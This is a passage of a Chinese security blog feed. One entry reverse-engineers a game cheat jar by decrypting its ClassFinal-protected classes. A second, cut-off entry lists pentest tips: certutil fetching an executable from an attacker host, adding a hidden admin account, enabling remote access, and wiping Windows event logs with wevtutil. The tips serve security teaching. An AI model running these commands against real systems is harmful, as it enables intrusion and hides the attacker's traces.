    <title>对某游戏辅助软件的逆向解密与分析</title>

    <link href="https://www.secbig.com/dui-mou-you-xi-fu-zhu-ruan-jian-de-ni-xiang-jie-mi-yu-fen-xi"  rel="alternate"></link>

    <updated>2021-09-21T11:36:46Z</updated>
    <id>dui-mou-you-xi-fu-zhu-ruan-jian-de-ni-xiang-jie-mi-yu-fen-xi</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h5 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;0x00&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp; 很久没写文章了，好多朋友问我博客是不是废了。。其实主要是没什么可写的，大部分内容都是大同小异，换汤不换药。BTW HVV躺枪了，希望大家关注过程就可以了，不要过多解读，很多人要吃饭。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;0x01&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;对某款游戏跟踪了很多年(buwuzhengye)，以前基于Unity3d的时候也对源代码分析过。但是后来还是没干做了嘴上的巨人。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;最近看某款游戏出了个辅(wai)助(gua)软件。开始以为是基于按键精灵来搞定的。后来真正拿到软件发现并不是和我的想法一致。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;0x02&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;软件整体布局如下&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x01.png" alt="0x01" title="" &gt;&lt;figcaption&gt;0x01&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;可以看到很明显是java进行开发同时在使用教程中还给小白写了如何配置TShark到系统环境变量。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;猜测整体运行逻辑如下:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x02.png" alt="0x02" title="" &gt;&lt;figcaption&gt;0x02&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;0x03&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp; 文件夹排除教程类一共有4个文件：&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;lords.jar            ---程序主要逻辑和运行文件&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;ShanHai.lua          ---lua脚本(按键精灵)&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;start.bat            ---启动java bat&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&lt;span class="md_line_space_chars md_line_space_chars_1"&gt; &lt;/span&gt;掉盾扫描脚本-ui.mqb   ---直观未知&lt;/span&gt;
&lt;/p&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;&amp;emsp;&amp;emsp;先看比较清晰的ShanHai.lua以及start.bat &lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;ShanHai.lua &lt;code&gt;通过搜索发现是个按键精灵的库&lt;/code&gt;

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;start.bat

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;pre class="lang_cd"&gt;&lt;code&gt;java -javaagent:lords.jar -jar -Xms1024m -Xmx1024m -Djava.io.tmpdir=D:\lords\data\Temp lords.jar&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;java 临时缓存在D:\lords\data\Temp&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;掉盾扫描脚本-ui.mqb 
&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x03.png" alt="0x03" title="" &gt;&lt;figcaption&gt;0x03&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;通过查看文件头（504B0304）发现是zip压缩。解压缩后：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x04.png" alt="0x04" title="" &gt;&lt;figcaption&gt;0x04&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;直接用txt打开发现是lua脚本调用了前面说的ShanHai.lua模块&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x05.png" alt="0x05" title="" &gt;&lt;figcaption&gt;0x05&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;其他两个文件为按键精灵的UI文件。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;0x04&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp; 到这我们已经把其他文件都进行了分析只差lords.jar这个核心文件了。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;&amp;emsp;&amp;emsp; 常规操作把lords.jar放入jad.exe反编译一下看看&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x06.png" alt="0x06" title="" &gt;&lt;figcaption&gt;0x06&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;浏览了一下org.springframework.boot.loader，并没有发现核心代码，但是注意到net.roseboy.classfinal内部存在JarDecryptor类，猜测是加密。通过查询github发现&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;（&lt;a class="md_compiled" href="https://github.com/roseboy/classfinal"&gt;ClassFinal-github&lt;/a&gt;)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x07.png" alt="0x07" title="" &gt;&lt;figcaption&gt;0x07&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;ClassFinal是一款java class文件安全加密工具，支持直接加密jar包或war包，无需修改任何项目代码，兼容spring-framework；
可避免源码泄漏或字节码被反编译。&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;作者还是对软件做了一些处理，怪不得无法找到一些核心内容。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;&amp;emsp;&amp;emsp;继续查看jar文件发现了META-INF下的.classes存在大量加密文件。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x08.png" alt="0x08" title="" &gt;&lt;figcaption&gt;0x08&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;0x05&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;目前我们发现META-INF下的.classes存在大量加密文件，必须通过解密他们才能获得运行逻辑。那么我们在过程中发现net.roseboy.classfinal内部存在JarDecryptor类，只能试试通过此类尝试还原加密文件。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;JarDecryptor类中存在下面这些方法&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x09.png" alt="0x09" title="" &gt;&lt;figcaption&gt;0x09&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;我们看到有个doDecrypt&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;public byte[] doDecrypt(String projectPath, String fileName, char[] password) &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参数需要一个密码才能彻底完成运行。那么继续往下找发现readPassFromJar&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;  public static char[] readPassFromJar(File workDir) {
    byte[] passbyte = readEncryptedFile(workDir, "org.springframework.config.Pass");
    if (passbyte != null) {
      char[] pass = StrUtils.toChars(passbyte);
      return EncryptUtils.md5(pass);
    } 
    return null;
  }&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;如果想知道密码就得调用这个方法。那么我们用最笨的方法，改写这个JarDecryptor类添加main方法，让我们可以用readPassFromJar和doDecrypt。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;在JarDecryptor添加如下代码&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;      public static void main(String[] args) {
          System.out.println(JarDecryptor.readPassFromJar(new File("D:\\lords\\lords\\")));
      }&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过javac生成class文件&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;    javac -cp lords.jar JarDecryptor.java&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;替换原有class文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x10.png" alt="0x10" title="" &gt;&lt;figcaption&gt;0x10&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;之后我们尝试调用JarDecryptor &lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;    java -javaagent:lords.jar net.roseboy.classfinal.JarDecryptor&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x11.png" alt="0x11" title="" &gt;&lt;figcaption&gt;0x11&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;目前我们得到了密码，那么下一步就是要调用doDecrypt。继续修改JarDecryptor的main方法。&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;      public static void main(String[] args) {
          String names = "application.properties";
          JarDecryptor jarde = new JarDecryptor();
          byte[] resu1 = jarde.doDecrypt("D:\\lords\\lords\\",names,JarDecryptor.readPassFromJar(new File("D:\\lords\\lords\\")));
          IoUtils.writeFile(new File("D:\\lords\\lords\\" + names + ".class"),resu1);
          System.out.println(resu1);
      }&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;继续替换以及运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x12.png" alt="0x12" title="" &gt;&lt;figcaption&gt;0x12&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;发现在文件夹已经完成了解密。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x13.png" alt="0x13" title="" &gt;&lt;figcaption&gt;0x13&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x14.png" alt="0x14" title="" &gt;&lt;figcaption&gt;0x14&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;包含了明文的密码以及服务ip等。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;0x06&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;这样太麻烦了，每次都要去覆盖，既然我们知道了密码以及方法。有没有更简单的方法？如果我们把lords.jar当成lib去调用是否也可以完成解密？&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;&amp;emsp;&amp;emsp;说干就干!&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;我们写一个detest类调用JarDecryptor&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;detest.java&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;import net.roseboy.classfinal.JarDecryptor;
import java.io.File;
import net.roseboy.classfinal.util.IoUtils;


public class detest {
    public static void main(String[] args) {
        File file = new File("D:\\lords\\lords\\META-INF\\.classes\\");
        File[] array = file.listFiles();
        for(int i=0;i&amp;lt;array.length;i++){
            if(array[i].isFile()){
                JarDecryptor jarde = new JarDecryptor();
                byte[] result = jarde.doDecrypt("D:\\lords\\lords\\",array[i].getName(),"41082bc542a1703e00123401154771be".toCharArray());
                IoUtils.writeFile(new File("D:\\lords\\lords\\decodes\\" + array[i].getName() + ".class"),result);
                System.out.println(array[i].getName());
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;尝试运行:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;    java -cp lords.jar detest.java&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x15.png" alt="0x15" title="" &gt;&lt;figcaption&gt;0x15&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x16.png" alt="0x16" title="" &gt;&lt;figcaption&gt;0x16&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;后面发现&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;org.springframework.config.Pass

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;org.springframework.config.PassHash

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;有报错，原因是本身就是明文。。。。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;不管了去看看解密后的文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x17.png" alt="0x17" title="" &gt;&lt;figcaption&gt;0x17&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;扔到jad &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x18.png" alt="0x18" title="" &gt;&lt;figcaption&gt;0x18&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;到这里基本就是结束了，已经完全还原了源代码))&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;0x07&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;通过分析，发现他是通过WireShark的TShark对本地互联网网卡进行抓包后经过数据包分析上传到云端服务器通过 Redis 与RabbitMQ 来实现消息以及存储。通过不知名开源Web改装成Web前端去完成页面。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;&amp;emsp;&amp;emsp;作者能拿到游戏厂商或者说能分析数据包？猜测是由于前期游戏厂商对游戏的逻辑进行简单的异或处理并没有做其他的加密导致拿到了源代码，毕竟游戏厂不能因为这个把源代码逻辑全部重写（&lt;a class="md_compiled" href="https://www.secbig.com/lofter/2018-02-20-unity3d-assembly-csharp-decode-1"&gt;参见&lt;/a&gt;)。目前由于Unity3d进行了版本升级无法看见源代码了只能看到一些函数的名称。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;&amp;emsp;&amp;emsp;作者提供了很好的思路来解决某些情况下可以使用类似这种方法对某种通信方式进行分析。同时厂商也没有做到最基础的通信加密)&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>Pentest-and-Development-Tips</title>

    <link href="https://www.secbig.com/pentest-and-development-tips"  rel="alternate"></link>

    <updated>2018-02-28T02:31:00Z</updated>
    <id>pentest-and-development-tips</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h1 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;Pentest-and-Development-Tips&lt;/span&gt;&lt;/h1&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;A collection of pentest and development tips&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Author： 3gstudent&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;声明&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以下技巧不应用于非法用途&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 1. 手动端口探测&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;nmap的-sV可以探测出服务版本，但有些情况下必须手动探测去验证&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Wireshark获取响应包未免大材小用，可通过nc简单判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于8001端口，nc连接上去，随便输入一个字符串，得到了以下结果：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ nc -vv localhost 8001  
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
&amp;lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&amp;gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;400 Bad Request&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Bad Request&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;Your browser sent a request that this server could not understand.&amp;lt;br /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;hr&amp;gt;
&amp;lt;address&amp;gt;Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001&amp;lt;/address&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;由此我们知道了这是一个http服务，因为我们发送的字符串不是一个合法的HTTP请求，因此返回一个400 Bad requests，我们还得到了系统的版本是Debian，WebServer是Apache&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="http://www.freebuf.com/articles/network/146087.html"&gt;《谈谈端口探测的经验与原理》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 2. Windows系统从Kali下载文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Kali:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;python -m SimpleHTTPServer 80&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/"&gt;《渗透测试中的certutil.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 3. 配置工作组计算机,使其支持net use远程连接&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;添加用户：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net user test test /add
net localgroup administrators test /add&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改注册表，使其支持远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;net use远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net use \\192.168.1.195 test /u:test&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 4. Windows日志清除&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取日志分类列表：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil el &amp;gt;1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取单个日志类别的统计信息：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil gli "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;回显：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看指定日志的具体内容：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil qe /f:text "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;删除单个日志类别的所有信息：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil cl "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
